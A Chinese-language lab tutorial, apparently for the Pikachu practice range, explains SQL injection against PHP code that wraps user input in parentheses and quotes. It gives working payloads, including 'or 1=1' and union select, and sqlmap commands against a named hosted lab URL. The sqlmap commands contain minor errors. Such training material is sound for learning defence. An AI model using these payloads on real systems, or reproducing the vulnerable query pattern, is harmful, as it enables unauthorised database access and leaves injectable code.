下面这段代码对应的“XX型注入”属于特殊闭合方式的字符型注入,核心特点是参数被单引号+括号双重包裹,需要针对性构造payload。
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username=('$name')";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
关键特征分析
原始查询语句:
select id,email from member where username=('$name')
- 用户输入的
$name
被包裹在('')
中(即先括号、再单引号) - 正常情况下,输入
test
会变成username=('test')
- 注入时需同时闭合单引号和括号,否则会触发语法错误
注入思路
- 闭合规则
需用')
来同时闭合单引号和括号,例如:
输入x')
会使查询变成username=('x')
,此时前面的括号和引号已闭合。 基础payload示例
x') or 1=1#
拼接后SQL变为:
select id,email from member where username=('x') or 1=1#'')
x')
闭合了原有的('
or 1=1
构造永真条件#
注释掉后面的剩余字符')
,避免语法错误
执行后会返回所有用户记录。
后续利用
与常规注入类似,闭合后可继续用union
查询获取数据库信息,例如:x') union select database(),version()#
sqlmap方法
获取数据库用户名
sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_x.php?name=test&submit=查询" --dbs --batch
获取数据库表名
sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_x.php?name=test&submit=查询" --D 数据库用户名 --tables --batch
获取对应数据库表的信息
这种“XX型”本质是闭合方式更特殊(括号+单引号),核心仍是突破闭合并构造合法的恶意SQL,理解其包裹规则就能套用常规注入思路。